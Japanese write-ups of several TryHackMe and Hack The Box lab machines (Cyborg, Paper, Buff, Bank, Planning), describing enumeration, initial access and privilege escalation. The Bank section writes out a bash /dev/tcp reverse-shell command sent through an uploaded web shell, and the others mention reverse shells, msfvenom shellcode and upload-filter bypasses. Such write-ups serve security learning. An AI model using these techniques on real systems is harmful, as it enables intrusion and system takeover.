【Tryhackme】Cyborg

ポートスキャン

Web探索

adminとetcというディレクトリがありそうです

squidなのでプロキシ関連の情報がありそう(プロキシポートは開いてなかったが、、)

Basic認証を取得しました。hashcatなどでハッシュ解析して平文パスワード取得できます。

Adminsを開くと、メッセージがいくつか掲載されてました。ユーザー名っぽいのでメモしておきます

ArchiveにDownloadがあるのでダウンロードしてみます。

Borgbackup

Archiveファイルを解凍し、READMEを開くと、BorgBackupを使っていることが分かりました。

コマンドラインで操作するため、下記リンク参考にBorgBackupインストールします

borgbackup.readthedocs.io

下記リンク参考に、いくつかコマンド実行してみます。

borgbackup.readthedocs.io

レポジトリにアーカイブがあるか確認し、1つありました。

extractコマンドで展開します。パスフレーズは、squidのpasswdに記載されていたパスワードです。

展開後、ファイル確認しalexのパスワードを入手しました。

SSHアクセス

権限昇格-1

スクリプト実行できます

中身を調べて、赤枠2か所によって任意のコマンドをroot権限で実行できそうです

適当に試してみると、whoamiが実行されます

atmarkit.itmedia.co.jp

-cオプションでリバースシェルのコマンドをつけて実行します。

bashとして動いていそうですが、コマンド実行できないのでさらにリバースシェルのコマンド実行します。

コマンド実行できました。

権限昇格-2

スクリプトの所有者がalexなので、chmodコマンドで権限変更可能です。

下図は既にWrite権限付与した後の状態です。

リバースシェルのスクリプトに書き換えて実行すれば権限昇格します

 

【Hack The Box】Paper

Nmap

80-10.10.11.143

manualはApacheのデフォルトディレクトリで、手掛かりなし

 

レスポンスヘッダーにバーチャルホストのFQDNがありました

80-office.paper

Wordpress 5.2.3、PHP 7.2.24が利用されています。初期侵入に使えそうな脆弱性は見つかりませんでした。

サイトの投稿記事一覧に、投稿者の名前を見つけました。また、マイケルへ、下書き書いてある秘密情報を削除するべきだ。とコメントされています。

ASAPは、as soon as possibleの略と初めて知りました)

ということで、多分記事の下書き?に手掛かりありそうです。

サイト下部に「Log In」というリンクがあったのでクリックし、Wordpressのログイン画面に遷移しました。適当なユーザー名とパスワード入力すると、下図のエラーが表示されます。

記事投稿者のユーザー名ではパスワードが間違っていると表示されるため、ユーザー名は正しいことが分かります。

wpscanで、Wordpress脆弱性スキャンしつつ、prisonmikeのパスワードをしばらくスキャンします。

下書きの内容を閲覧できる脆弱性があるようです。prisonmikeのパスワードは15分くらい回しましたがヒットしませんでした。

下記サイトを参考に、下書きの閲覧ができました。

wpscan.com

登録用URLが記載されているため、アクセスしてみます。

一旦ルートへアクセスすると、ログイン画面が表示されました。アカウント分からないので素直に登録用URLにアクセスします。

情報入力して登録します。

アカウント作成後、チャットルームにアクセスできました。

recyclopsというbotで色々できるみたいです。

ディレクトリ表示とファイル閲覧ができました。/home/dwight配下で実行されるようです。

../つけて、/etc/passwdも閲覧できました。(多分ユーザーフラグもいけそう)

recyclops list ../../../../home/dwight/ を実行し、ユーザーフラグ見つけました。

色々探していたところ、環境変数ファイルにパスワードがありました

権限昇格

linpeas.shでCVE見つけます

www.exploit-db.com

実行し、権限昇格

 

【Hack The Box】Buff

Nmap

7680port

応答なし

8080p

ApachePHPで、初期アクセスに使えそうな脆弱性なし

色々調べてたところ、Contactページにバージョン情報発見

 

下記PoC見つけました。

www.exploit-db.com

PoCの中にupload.phpへアクセスするコードがあったので、存在を確認

シェル取れましたが、ディレクトリ移動などができませんので、リバースシェル取る必要があります。

PoCのコードから、telepathyパラメーターでコマンド実行できること確認

Certutilなどのコマンドが使えないので、KaliでSMBサーバーを立てて、Copyコマンドでファイル転送します。

なぜか、msfvenomで作ったペイロードはコピーできず。。?

nc.exeをコピーして、リバースシェル取得

権限昇格

C:\xamppに手掛かりなかったので、ユーザーディレクトリ調べてたところbatファイル見つけますが、手掛かりなし。

ダウンロード配下に、.exeありました。

実行すると、プロセスは起動してますが何も変化ありません。

ファイル名から、PoC見つけました。このPoCでシェルコードをマシン上で実行させることができます。

www.exploit-db.com

Kali上でPoC実行し、ターゲットマシン上でシェルコードを実行させるので、

Kaliの6666ポートを対象マシンの8888に転送します。chisel使いましたが、他のでもよいと思います。

msfvenomでシェルコードを生成します。(PoCに記載されているコマンド参考にしました)

PoCのシェルコードの部分を生成したコードに変更します。

Kali上でPoC実行し、administratorのリバースシェル取得です。

 

Bank

Nmap

DNS-1

ゾーン転送失敗

HTTP-1

現時点

robots.txt、sitemap.xmlなし。

ミドル:Apache2.4.7→初期アクセスに使えそうな脆弱性見つからず。

OS:Ubuntu

Apacheのデフォルトページ表示

サブディレクトリ特になし

fileもほとんど403

何も見つからないので、DNS再度見てみます

DNS-2

ドメイン名を推測して、再度実行し取得しました。www.bank.htbがあるので、バーチャルホスト使っていそうです。

HTTP-2

PHP使っていることがわかります。

「’」を入れてみましたが、SQLエラー出ませんでした。

エラーメッセージからもユーザー列挙は無理そうです。

PHPの該当バージョンに、使えそうな脆弱性はありませんでした。

inc assetsはアクセスできましたが、手掛かりなし。uploadsは403でした。

ほとんど403で使えそうなファイルなし

サブドメインもなし

サブディレクトリを複数リストで試したところ、手掛かり見つけました。

.accというファイルが大量にありました。

開くと、クレカの取引情報?が表示されます

一覧を見ていると、1つだけサイズが異なるファイルを見つけました。

認証情報見つけました。

SSHはできなかったので、Webサイトの方ログインしました。

ダッシュボードページは、有益な情報ありませんでした。

supportページに、ファイルアップロード機能があります。

画像系じゃないとアップロードできないようです。拡張子、Content-type、マジックナンバーを変更し、アップロード制限を回避しようと試みましたが、どれも効果なかったです。

 

サポートページのHTMLを確認すると、コメントで「.htbをつければphpとして実行できる」と記載されていました。

拡張子を.phpから.htbに変更し、アップロード成功しました。

Attachmentをクリックすると、アップロードしたファイルに遷移します。

Webシェルをアップロードしたので、cmdパラメーターを入力し、コマンド実行できることが確認できました。

bash -c 'bash -i >& /dev/tcp/<kali-IP>10.10.14.6/<PORT> 0>&1'をURLエンコードしてcmdパラメーターに入力し、リバースシェル取得です。

権限昇格

シェルアップグレードします。

3306のMySQLが開いてます。

今持ってる認証ではアクセスできませんでした。

/var/www/bank配下確認中にuser.phpがあったことを思い出し、確認してMySQLの認証をゲットしました。(su root su chrisでパスワード入力しましたが、認証エラーでした。)

chrisの認証しかありませんでした。データベースから認証を取得する路線ではなさそう。

www-dataのパスワードが分からずSUDOは確認できないので、SUID探します。

GTFObinsで確認し、すぐに昇格できるコマンドはなかったです。emergencyは見たことなので調べてみます。(/usr/binやsbinではないので、コマンドではなさそう)

Pythonスクリプトでした。

Do you want to...の質問に対する回答(y/n)でyと答えれば、getroot関数が呼び出され、os.systemで/var/htb/bin/emergencyが実行されるようです。メッセージ的にrootに昇格できそうなので実行してみます。(-rwsr-x-r-xなので実行可能)

昇格しました。

ちなみに、/var/htb/bin配下のemergencyは、実行ファイルなので内容まで確認できなかった



 

 

 

 

【Hack The Box】Planning

マシン情報

列挙

PortScan

whatweb

sitemap.xmlrobots.txtないこと確認済み

Subdir

検出したディレクトリにアクセスしたところ、403の権限エラーが返ってきました。

Subdomain

Filescan

Webページ探索

トップページ

 

何かに使えるかもしれないので、ユーザー名としてメモしておきます。

Homeメニューをクリックしたところ、index.phpと表示されました。PHPが使われていることが分かります。「About」「Course」には入力できる箇所やバージョンなどの手掛かりはなかったです。

 

keywordに、「’」や「<script>」あたりを入れましたが、反応しませんでした。

ソースコード確認すると、search押した後は、別のPHPに転送されているわけではないようです。また、Keywordの値も別のところで引用されるわけでもなかったです。

Contactページ

適当に情報入力してみます。

ボディに、入力した値が入ってないですね。ソースコード確認すると、<form action>がないので、Send Messageを押しても、どこにも送信されません。

 

Courseページ

各コースにEnrollページがあり、アクセスすると、登録ページが表示されます。

このページでも、「’」や「<script>」あたりを入れましたが、反応しませんでした。

また、http:でKaliのIP指定しても通信は飛びませんでした。

Submitしても、別のページには飛ばしていないようです。

この時点で、一通り入力できる場所に特殊記号入れても何も反応しないので、列挙漏れがあると考え、ワードリストを変えてもう一度列挙していきます。

再列挙

Subdomain

普段使わないリストで再列挙したところ、grafanaというサブドメインを見つけました。

whatweb

sitemap.xmlはなし、robots.txtは、Disallowに何もないこと確認済み

Subdir

検出したディレクトリにアクセスしたところ、403の権限エラーが返ってきました。

Webページ探索

.grafanaログインページ

画面下部に、バージョン情報が表示されています

本マシンは、初めに認証情報が提供されているため、その情報を使い管理画面へアクセスし、一通り設定など確認しましたが、下記情報くらいしか手掛かりありませんでした。

SQlite3
grafana.db

脆弱性

grafanaのバージョンで脆弱性調べたところ、RCEとLFIに関する情報がヒットしました。

nvd.nist.gov

grafana.com

github.com

 

上記のPoCを使い、root権限でリバースシェルを取得できました。

ただし、フラグが見つかりません。

ユーザーフラグ

色々列挙してる中で、環境変数を確認したところ、認証情報が記載されていました。

SSHアクセスできました。

権限昇格

SUDO

ない

SUID

変わったものがない

CRON

ない。

編集できるものがない

プロセス

???

OPENポート

TCPでLISTEN全部。3000,3306,8000あたり見てみたい。

3000は、ログインページにリダイレクトされるようです。8000は、401が返ってきてWWW-AuthenticateがBasicになっているので、Basic認証のページにアクセスしています。

 

既に入手していた認証情報ではアクセスできず、nginxのhtpasswdなどのファイルも見つかりませんでした。

.dbの拡張子でファイル検索したところ、crontab.dbというファイルをみつけ、その中にzipコマンドのーPオプションでパスワードを指定してました。

アクセスすると、GUIでCronの設定ができるWebアプリが表示されました。

下図のように、リバースシェルのコマンドをセットして実行すると・・

 

rootのシェルが取れます。